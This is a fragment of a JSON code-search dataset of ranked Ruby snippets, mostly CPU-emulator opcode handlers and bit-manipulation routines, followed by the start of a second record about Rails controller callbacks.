"text": "def and_mhl\n value = @mmu[hl]\n and_to_a value\n @clock += 2\n end",
"title": ""
},
{
"docid": "c2c3d37a820b9c6b0959a98e8f909b06",
"score": "0.53220606",
"text": "def cvrt_a_ins(a)\n \"%016b\" % a\n end",
"title": ""
},
{
"docid": "6693ab16ba897934c05ae78b73fb683a",
"score": "0.5281208",
"text": "def jp_nc_a16\n if (@f & C_FLAG) == 0x00\n @pc = $mmu.read_word @pc\n @branched = true\n else\n @pc += 2\n end\n end",
"title": ""
},
{
"docid": "3288ad7b9e109dfbb49e75bd05ca4873",
"score": "0.5255719",
"text": "def ais\n p = full_dearmored_ais_payload\n ret = _payload_container(p[0, 6].to_i(2))\n ret.payload_bitstring = p\n ret.fill_bits = last_ais_fill_bits\n ret\n end",
"title": ""
},
{
"docid": "f2a4bcbe209398687cbfce8c0d055422",
"score": "0.52487105",
"text": "def or_d8\n end",
"title": ""
},
{
"docid": "3303caf99642e417b18c6c6b4ebdd78a",
"score": "0.5211739",
"text": "def rlca\n @a = rotate_left @a\n reset_flags Z_FLAG, N_FLAG, H_FLAG\n end",
"title": ""
},
{
"docid": "8aef36ba3481d3b715d9cb6a4d57ad74",
"score": "0.5196426",
"text": "def cac2\n 0\n end",
"title": ""
},
{
"docid": "535198eb1211a5229dd8fc91326f5e3b",
"score": "0.5158936",
"text": "def xor_d8\n end",
"title": ""
},
{
"docid": "0c65cac4c5b19636012910e3f27c7ab6",
"score": "0.514047",
"text": "def cpl\n @a = ~@a & 0xFF\n @f |= (N_FLAG + H_FLAG)\n @clock += 1\n end",
"title": ""
},
{
"docid": "608681fbbed701f485b8843973db4cc4",
"score": "0.51318777",
"text": "def ALU16BIT(a,b,cin,binv,op1,op2)\n\tresult = [nil]*16\n\t15.downto(1).each{|i| result[i],cin = ALU1BIT(a[i],b[i],cin,binv,op1,op2)}\n\tresult[0],cout,ovf = ALU1BIT_OF(a[0],b[0],cin,binv,op1,op2)\n\t#Send out our result, carry out, and overflow\n\treturn result,cout,ovf\nend",
"title": ""
},
{
"docid": "883312aef9c84e5a05692c7e43185370",
"score": "0.5131508",
"text": "def a(value)\n value & 0x000000ff\n end",
"title": ""
},
{
"docid": "883312aef9c84e5a05692c7e43185370",
"score": "0.5131508",
"text": "def a(value)\n value & 0x000000ff\n end",
"title": ""
},
{
"docid": "0d4c6160705cd07a3f5b3238a6190dfb",
"score": "0.5107752",
"text": "def ALU1BIT(a,b,cin,binv,op1,op2) \n\tb = MUX2X1(b,binv)\n\tsUM_RESULT = ADDER(a,b,cin)\n\t#Send out an array pair of result, cout\n\treturn MUX4X1(AND(a,b),OR(a,b),sUM_RESULT[0],0,op1,op2), sUM_RESULT[1]\nend",
"title": ""
},
{
"docid": "5a4fae421e4bbe2192ea3ea52620820b",
"score": "0.5107248",
"text": "def opcode8\n if value_by_mode(1) == value_by_mode(2)\n update_value(1, 3)\n else\n update_value(0, 3)\n end\n move_pointer(4)\n end",
"title": ""
},
{
"docid": "df3cd78ff7fce975bf4b08b5316d5743",
"score": "0.50731736",
"text": "def jp_nz_a16\n if (@f & Z_FLAG) == 0x00\n @pc = $mmu.read_word @pc\n @branched = true\n else\n @pc += 2\n end\n end",
"title": ""
},
{
"docid": "da64ab749f935ceef73a7375c6209872",
"score": "0.50673175",
"text": "def field_bc1(op)\n (op & 0x03ff0000) >> 16\nend",
"title": ""
},
{
"docid": "db711be4f00ec9aa0e16619cf4415dfd",
"score": "0.50394756",
"text": "def flag_ac\n reg_flag[FLAG_AUX_CARRY]\n end",
"title": ""
},
{
"docid": "3f7eead0eb35bb33644bc00c522493bd",
"score": "0.5025712",
"text": "def add_a_c\n end",
"title": ""
},
{
"docid": "e47234f49f494133c25f526e4e908e73",
"score": "0.502274",
"text": "def call_nc_a16\n if (@f & C_FLAG) == 0x00\n new_pc = $mmu.read_word @pc\n @pc += 2\n push_onto_stack @pc\n @pc = new_pc\n @branched = true\n else\n @pc += 2\n end\n end",
"title": ""
},
{
"docid": "cc059dd6aa37dc6e53fdb0677a764c3b",
"score": "0.50173503",
"text": "def execute_LAHF(flags_register)\n\t\[email protected] = @flags.low\n\tend",
"title": ""
},
{
"docid": "05b11b6a1ba5859620f737909046a5ea",
"score": "0.50046414",
"text": "def execute_SAHF(flags_register)\n\t\t# Mask the extra bits in AH for data consistency\n\t\[email protected] = (@ax.high & 0b11010101)\n\tend",
"title": ""
},
{
"docid": "31f47185788d27e03e45e8f4d682ebe9",
"score": "0.49805278",
"text": "def c0= c; @c0 = (c == 1) ? 1 : 0; end",
"title": ""
},
{
"docid": "ecdc8c7833a2c4a5d111b646a37314b0",
"score": "0.49774808",
"text": "def byte_enable\n enable = 0\n regs.each do |reg|\n enable_bits = 0.ones_comp(reg.size / bits_per_address)\n enable += (enable_bits << shift_for_reg(reg))\n end\n enable\n end",
"title": ""
},
{
"docid": "3a82af5f3ba1bd923638b5cacbc9390c",
"score": "0.49756676",
"text": "def ccf\n val = @f\n @f &= Z_FLAG\n @f |= C_FLAG unless (val & C_FLAG) == C_FLAG\n @clock += 1\n end",
"title": ""
},
{
"docid": "a57cd73d523427da7c2914095ff0b50c",
"score": "0.49281973",
"text": "def ld_a_bc\n @a = $mmu.read_byte self.bc\n end",
"title": ""
},
{
"docid": "1a925f8b0978b191019144b58b8f3d8f",
"score": "0.48800763",
"text": "def ld_a_de\n @a = $mmu.read_byte self.de\n end",
"title": ""
},
{
"docid": "0f1bdd62984503d54c6da972913667ca",
"score": "0.48741853",
"text": "def sub_d8\n end",
"title": ""
},
{
"docid": "841e5efd10209bc68b7e9321c657584a",
"score": "0.4844241",
"text": "def ccf\n @f & C_FLAG == C_FLAG ? reset_c_flag : set_c_flag\n reset_flags N_FLAG, H_FLAG\n end",
"title": ""
},
{
"docid": "a01ae02539bf0369b4a67bad0c134485",
"score": "0.4844199",
"text": "def call_nz_a16\n # branch if Z flag is reset\n if (@f & Z_FLAG) == 0x00\n new_pc = $mmu.read_word @pc\n @pc += 2\n push_onto_stack @pc\n @pc = new_pc\n @branched = true\n else\n @pc += 2\n end\n end",
"title": ""
},
{
"docid": "7ec582b5edbbc44ead2e2446b45cb0d9",
"score": "0.48046845",
"text": "def set_carry_flag_from(expected_value, size)\n\t\[email protected]_bit_at(CARRY_FLAG, (\n\t\t\tif size == 16\n\t\t\t\t(expected_value & 0xFFFFFFFF) > 0xFFFF || expected_value < 0 ? 1 : 0\n\t\t\telse\n\t\t\t\t(expected_value & 0xFFFFFFFF) > 0xFF || expected_value < 0 ? 1 : 0\n\t\t\tend\n\t\t))\n\tend",
"title": ""
},
{
"docid": "2b770671964ac3b67d5491979a9d4578",
"score": "0.47983307",
"text": "def alto?\n @cr[0xb][7] == 1\n end",
"title": ""
},
{
"docid": "02e107eb4b11307c7f354ebd813ed292",
"score": "0.47962797",
"text": "def to_i\n (self.a1 << 24) | (self.a2 << 16) | (self.a3 << 8) |\n self.a4\n end",
"title": ""
},
{
"docid": "9bbfaee6c6893240815c80721e0cecfe",
"score": "0.4778204",
"text": "def ats\n abtAts.unpack 'C*'\n end",
"title": ""
},
{
"docid": "a45c1c468498e1867c301a9c1674cf35",
"score": "0.4769657",
"text": "def dpd2bcd(arg)\n\n # assign each bit to a variable, named as in the description\n p,q,r,s,t,u,v,w,x,y = (\"%010B\"%arg).split('').collect{|bit| bit.to_i}\n\n # derive the result bits, using boolean expressions only\n a= (v & w) & (bitnot(s) | t | bitnot(x))\n b=p & (bitnot(v) | bitnot(w) | (s & bitnot(t) & x))\n c=q & (bitnot(v) | bitnot(w) | (s & bitnot(t) & x))\n d=r\n e=v & ((bitnot(w) & x) | (bitnot(t) & x) | (s & x))\n f=(s & (bitnot(v) | bitnot(x))) | (p & bitnot(s) & t & v & w & x)\n g=(t & (bitnot(v) | bitnot(x))) | (q & bitnot(s) & t & w)\n h=u\n i=v & ((bitnot(w) & bitnot(x)) | (w & x & (s | t)))\n j=(bitnot(v) & w) | (s & v & bitnot(w) & x) | (p & w & (bitnot(x) | (bitnot(s) & bitnot(t))))\n k=(bitnot(v) & x) | (t & bitnot(w) & x) | (q & v & w & (bitnot(x) | (bitnot(s) & bitnot(t))))\n m=y\n # concatenate the bits and return\n # result = [a,b,c,d,e,f,g,h,i,j,k,m].collect{|bit| bit.to_s}.inject{|aa,bb|aa+bb}.to_i(2)\n result = 0\n [a,b,c,d,e,f,g,h,i,j,k,m].each do |bit|\n result <<= 1\n result |= bit\n end\n result\nend",
"title": ""
},
{
"docid": "24276e0856c680f56f6cac754de0d7c2",
"score": "0.47577167",
"text": "def read_u4\n (read_u1 << 24) | read_u3\n end",
"title": ""
},
{
"docid": "b2625231489fb326d2eab0921245b933",
"score": "0.4754768",
"text": "def bcd2dpd(arg)\n # assign each bit to a variable, named as in the description\n a,b,c,d,e,f,g,h,i,j,k,m = (\"%012B\"%arg).split('').collect{|bit| bit.to_i}\n\n # derive the result bits, using boolean expressions only\n #-- [the operators are: '&'=AND, '|'=OR, '\\'=NOT.]\n p=b | (a & j) | (a & f & i)\n q=c | (a & k) | (a & g & i)\n r=d\n s=(f & (bitnot(a) | bitnot(i))) | (bitnot(a) & e & j) | (e & i)\n t=g | (bitnot(a) & e &k) | (a & i)\n u=h\n v=a | e | i\n w=a | (e & i) | (bitnot(e) & j)\n x=e | (a & i) | (bitnot(a) & k)\n y=m\n\n # concatenate the bits and return\n # result = [p,q,r,s,t,u,v,w,x,y].collect{|bit| bit.to_s}.inject{|aa,bb|aa+bb}.to_i(2)\n result = 0\n [p,q,r,s,t,u,v,w,x,y].each do |bit|\n result <<= 1\n result |= bit\n end\n result\nend",
"title": ""
},
{
"docid": "3565f73cead491332cfb5a77f372e601",
"score": "0.47469777",
"text": "def ALU1BIT_OF (a,b,cin,binv,op1,op2)\n\tb = MUX2X1(b,binv)\n\tsUM_RESULT = ADDER(a,b,cin)\n\tputs sUM_RESULT[0]\n\tovf = OF_CHECKING(a,b,sUM_RESULT[0])\n\t#Send out an array triple of result, cout, overflow\n\treturn MUX4X1(AND(a,b),OR(a,b),sUM_RESULT[0],0,op1,op2), sUM_RESULT[1], ovf\nend",
"title": ""
},
{
"docid": "4a57a476501e200dd6e8f6e232cea608",
"score": "0.4745224",
"text": "def execute_CMC\n\t\[email protected]_bit_at(CARRY_FLAG, @flags[CARRY_FLAG] ^ 1)\n\tend",
"title": ""
},
{
"docid": "d561fa2428b86d4406b37d9743208163",
"score": "0.4744784",
"text": "def add_a_hl\n end",
"title": ""
},
{
"docid": "1a6ea57b665c4d2eac713ae01a3c6ab8",
"score": "0.47419178",
"text": "def flags\n FLAGS.find_all{ |k,v| (self.Characteristics & k) != 0 }.map(&:last)\n end",
"title": ""
},
{
"docid": "3eb853d95f0af2d79020a240afbbed3c",
"score": "0.4734658",
"text": "def rrca\n @a = rotate_right @a\n reset_flags Z_FLAG, N_FLAG, H_FLAG\n end",
"title": ""
},
{
"docid": "bf27dbf54d315a6d326e17827cd07df3",
"score": "0.47344244",
"text": "def inc(cb)\n c = 0\n additive = 0\n left_32 = cb.slice(12..15)\n while c<=4\n additive += left_32(c)\n c+=1\n end\n additive %= 4\n cb = cb.setbyte(15,additive)\nend",
"title": ""
},
{
"docid": "76ba3a9422474d3597fdf1442a0bb317",
"score": "0.4713867",
"text": "def aclflags\r\n\t\t\t`#{BITS::BITSADMIN} /getaclflags {#{@id}}`\r\n\t\tend",
"title": ""
},
{
"docid": "0c2fd4403a1b4c2c8da25b61be537fff",
"score": "0.47072893",
"text": "def apply_apci(val, data = nil)\n value = if val.is_a?(Symbol)\n ActionType[val]\n else\n val\n end\n\n if value > 15\n self.apci = (value >> 6) & 0b1111\n self.data = value & 0b111111\n false\n else\n self.apci = value\n if data && data[0] && data[0] <= 0b111111\n self.data = data[0]\n true\n else\n self.data = 0\n false\n end\n end\n rescue => e\n raise ArgumentError, \"Bad apci value: #{data}\"\n end",
"title": ""
},
{
"docid": "2d4b20c8882cd0ce7927df445cfd86ed",
"score": "0.4678861",
"text": "def c1= c; @c1 = (c == 1) ? 1 : 0; end",
"title": ""
},
{
"docid": "5d04c0b7b4f436078bc171e5595079a1",
"score": "0.46681103",
"text": "def ACK08=(arg)",
"title": ""
},
{
"docid": "12ebc413e9faecbd422b5db469064097",
"score": "0.46673024",
"text": "def read16\n\tval = (getc() << 8) + getc()\n\tval = -(val & 0x7fff) if (val & 0x8000).nonzero?\n\treturn val\n end",
"title": ""
},
{
"docid": "af6ffbf4c47dd83b92a65368189dee1c",
"score": "0.46652833",
"text": "def sbc_a_c\n end",
"title": ""
},
{
"docid": "0c5ba6fbdf88c3ff1e2983ff8eb56502",
"score": "0.4663344",
"text": "def jr_c_r8\n if (@f & C_FLAG) == C_FLAG\n jump = signed_value $mmu.read_byte(@pc)\n result = @pc + 1 + jump\n @pc = result & 0xFFFF\n @branched = true\n else\n @pc += 1\n end\n end",
"title": ""
},
{
"docid": "43a7cdbd37843405404a1dd2917caf6a",
"score": "0.46563026",
"text": "def set_auxiliary_carry_flag_from(expected_value)\n\t\[email protected]_bit_at(AUX_CARRY_FLAG, (expected_value & 0xFFFFFFFF) > 0xF ? 1 : 0)\n\tend",
"title": ""
},
{
"docid": "00092e286ebc8da57892261638cf1ff0",
"score": "0.46552378",
"text": "def bit_add(a, b)\n\t(7).downto(0).each do |x|\n\tend\nend",
"title": ""
},
{
"docid": "ec51d1f461adf4ffeba05d6a9fd5dd3e",
"score": "0.46544254",
"text": "def aclflags=(acl_flags)\r\n\t\t\t`#{BITS::BITSADMIN} /setaclflags {#{@id}} #{acl_flags}`\r\n\t\tend",
"title": ""
},
{
"docid": "5010c90016b7ba1bcff45f17f98ab674",
"score": "0.46525657",
"text": "def scan_ap\n enter_at_mode\n self.write \"ATAS#{CR}\"\n ap = []\n loop {\n sc = wait_cr 3000 # scan type\n break if !sc || sc.size == 0 || sc == 'ERROR'\n ch = wait_cr # channel number\n st = wait_cr # security type ('00':open, '01':WPA, '02':WPA2, '03':WEP)\n lm = wait_cr # Link margin\n id = wait_cr # SSID\n sec_type = case st\n when '00'; :none\n when '01'; :wpa\n when '02'; :wpa2\n when '03'; :wep\n else; nil\n end\n ap << [id, sec_type] # ssid, sec_type\n }\n cmd \"ATCN\"\n return ap\n end",
"title": ""
},
{
"docid": "ebd0eee3ba10e81f8631bf3fafc14bd1",
"score": "0.46442756",
"text": "def scf\n @f &= Z_FLAG\n @f |= C_FLAG\n @clock += 1\n end",
"title": ""
},
{
"docid": "0335bb55d8e13f72e8f89c08d63b1a66",
"score": "0.46419242",
"text": "def set_arithmetic_flags_from(source_value, destination_value, expected_value, actual_value, size)\n\t\tmsb_index = size - 1\n\t\tset_zero_flag_from actual_value\n\t\tset_sign_flag_from actual_value, msb_index\n\t\tset_parity_flag_from actual_value, size\n\t\tset_overflow_flag_from source_value, destination_value, expected_value, actual_value, msb_index\n\t\tset_carry_flag_from expected_value, size\n\tend",
"title": ""
},
{
"docid": "b6e59af6a754082174459708b75488d3",
"score": "0.46396583",
"text": "def comp(_comp)\n a = '0'\n c1 = '0'\n c2 = '0'\n c3 = '0'\n c4 = '0'\n c5 = '0'\n c6 = '0'\n\n if (_comp.include?'M')\n a = '1'\n end\n\n if (_comp == '0')\n c1 = '1'\n c3 = '1'\n c5 = '1'\n elsif (_comp == '1')\n c1 = '1'\n c2 = '1'\n c3 = '1'\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == '-1')\n c1 = '1'\n c2 = '1'\n c3 = '1'\n c5 = '1'\n elsif (_comp == 'D')\n c3 = '1'\n c4 = '1'\n elsif (_comp == 'A' or _comp == 'M')\n c1 = '1'\n c2 = '1'\n elsif (_comp == '!D')\n c3 = '1'\n c4 = '1'\n c6 = '1'\n elsif (_comp == '!A' or _comp == '!M')\n c1 = '1'\n c2 = '1'\n c6 = '1'\n elsif (_comp == '-D')\n c3 = '1'\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == '-A' or _comp == '-M')\n c1 = '1'\n c2 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'D+1')\n c2 = '1'\n c3 = '1'\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'A+1' or _comp == 'M+1')\n c1 = '1'\n c2 = '1'\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'D-1')\n c3 = '1'\n c4 = '1'\n c5 = '1'\n elsif (_comp == 'A-1' or _comp == 'M-1')\n c1 = '1'\n c2 = '1'\n c5 = '1'\n elsif (_comp == 'D+A' or _comp == 'D+M')\n c5 = '1'\n elsif (_comp == 'D-A' or _comp == 'D-M')\n c2 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'A-D' or _comp == 'M-D')\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'D&A' or _comp == 'D&M')\n #Do nothing\n elsif (_comp == 'D|A' or _comp == 'D|M')\n c2 = '1'\n c4 = '1'\n c6 = '1'\n else\n raise 'invalid syntax'\n end\n return a + c1 + c2 + c3 + c4 + c5 + c6\n end",
"title": ""
},
{
"docid": "39d945266fdd668952f2d32d40ca0e5e",
"score": "0.4633902",
"text": "def sbc_a_d\n end",
"title": ""
},
{
"docid": "1f9cc5a1f80f581e897dc725b08ee342",
"score": "0.4633206",
"text": "def convert_aces(all_sums)\n\t\tall_sums[1] = Array.new(all_sums[0])\n\t\tall_sums[1][all_sums[1].index(1)] = 11 if all_sums[1].any?{|value| value == 1}\n\tend",
"title": ""
},
{
"docid": "45e61ff66f8b4abeeb04c85cc882b708",
"score": "0.4618995",
"text": "def add_a_d\n end",
"title": ""
},
{
"docid": "477809857e067a2d9cead400cf3d3d0e",
"score": "0.46142784",
"text": "def read_ic_uint32(flag = nil)\n name(\"ic_uint32\") do\n flag ||= peek { name(\"uint8_or_flag\") { read_uint8 } }\n\n case\n when flag < 0x80\n adjust(+1)\n flag\n when flag < 0xc0\n name(\"uint16\") { read_uint16 } & 0x7fff\n when flag < 0xe0\n name(\"uint24\") { read_uint24 } & 0x3fffff\n when flag < 0xf0\n name(\"uint32\") { read_uint32 } & 0x1fffffff\n when flag == 0xf0\n adjust(+1) # Skip the flag byte.\n name(\"uint32+1\") { read_uint32 }\n else\n raise \"Invalid flag #{flag} seen\"\n end\n end\n end",
"title": ""
},
{
"docid": "823f2c15d2a10faf3dfcafd2b6d69dd8",
"score": "0.46120557",
"text": "def BIT(address:)\n tmp = @accumulator & @ram[address]\n tmp.zero? ? set_flag(SR_ZERO) : clear_flag(SR_ZERO)\n (tmp & SR_NEGATIVE).zero? ? clear_flag(SR_NEGATIVE) : set_flag(SR_NEGATIVE)\n (tmp & SR_OVERFLOW).zero? ? clear_flag(SR_OVERFLOW) : set_flag(SR_OVERFLOW)\n end",
"title": ""
},
{
"docid": "9cb227bc118a81f27c6c1800ef869d08",
"score": "0.46111238",
"text": "def INC(address:)\n @ram[address] = (@ram[address] + 0x01) & 0xff\n ZN_flags(@ram[address])\n end",
"title": ""
},
{
"docid": "3f93bc9e37d5dccb8a20e32bf56917c1",
"score": "0.46107754",
"text": "def lda (input = \"FF00\")\n\n\tif input.length > 2\n\t\t$code.add(\"AD\" + input)\n\telse\n\t\t\n\t\t$code.add(\"A9\" + input)\n\tend\n\nend",
"title": ""
},
{
"docid": "d42860a19988b8a2b0daf3ac409a05df",
"score": "0.46062958",
"text": "def aliphatic_index\n aa_map = aa_comp_map\n @aliphatic_index ||= round(aa_map[:A] +\n 2.9 * aa_map[:V] +\n (3.9 * (aa_map[:I] + aa_map[:L])), 2)\n end",
"title": ""
},
{
"docid": "8510dd12359c9da9d27c3d63036f3908",
"score": "0.45988035",
"text": "def cget( q, r )\n hget( even_q_to_axial_hex( q, r ) )\n end",
"title": ""
},
{
"docid": "2628a47a9d62b1e5041bf2081254f94b",
"score": "0.45983618",
"text": "def xmodem_crc(a,prev_crc=FWI.new(16,false).new(0))\n crc = prev_crc\n a.each_byte{ |al_val|\n al = FWI.new(8,false).new(al_val)\n 8.times {\n al.rcl!(1)\n crc.rcl!(1)\n crc ^= 0x1021 if FWI::FWIBase.carry?\n }\n }\n crc\nend",
"title": ""
},
{
"docid": "9c2b3145d32d9c0da27d6ac7a3755b86",
"score": "0.45982265",
"text": "def upc_a\n generate_barcode('barcode.upc_a')\n end",
"title": ""
},
{
"docid": "cbac390af546de39bfc3a11b7b45c219",
"score": "0.45951158",
"text": "def add(a,b)\n ret1 = a + b\n ret = ret1 & 0xff\n self[0xF] = (ret1!=ret)?1:0\n ret\n end",
"title": ""
},
{
"docid": "5cbc32195824294172866265b7c87ba9",
"score": "0.45855266",
"text": "def state\n case [@c2, @c1, @c0]\n when [0,0,0] then \"Z -> Z\"\n when [0,0,1] then \"X + Y\"\n when [0,1,0] then \"rotate x\"\n when [0,1,1] then \"x & y\"\n when [1,0,0] then \"x | y\"\n when [1,0,1] then \"x ^ y\"\n when [1,1,0] then \"~ x\"\n when [1,1,1] then \"x == y\"\n else raise RuntimeError.new \"wrong alu operation: #{ [@c2, @c1, @c0] }\"\n end\n end",
"title": ""
},
{
"docid": "ad02521eaf57d8abddd9fa485e3e3cef",
"score": "0.45676413",
"text": "def status\n sts = atcmd \"ATAI\"\n sts.to_i(16)\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2
|
Use callbacks to share common setup or constraints between actions.
|
[
{
"docid": "9be4a8473075ea324624b81cc2ae5ba1",
"score": "0.0",
"text": "def set_serasa\n @serasa = Serasa.find(params[:id])\n end",
"title": ""
}
] |
[
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60339177",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60135007",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.59219855",
"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.589884",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5889191",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.58780754",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5863248",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.58094144",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57375425",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57285565",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.57149214",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.56900954",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.56665677",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.5651118",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648135",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.56357735",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5627078",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.5608873",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5598699",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.5598419",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.5589822",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.55084664",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.5504379",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.5465574",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5464707",
"text": "def on_setup(&block); end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54471064",
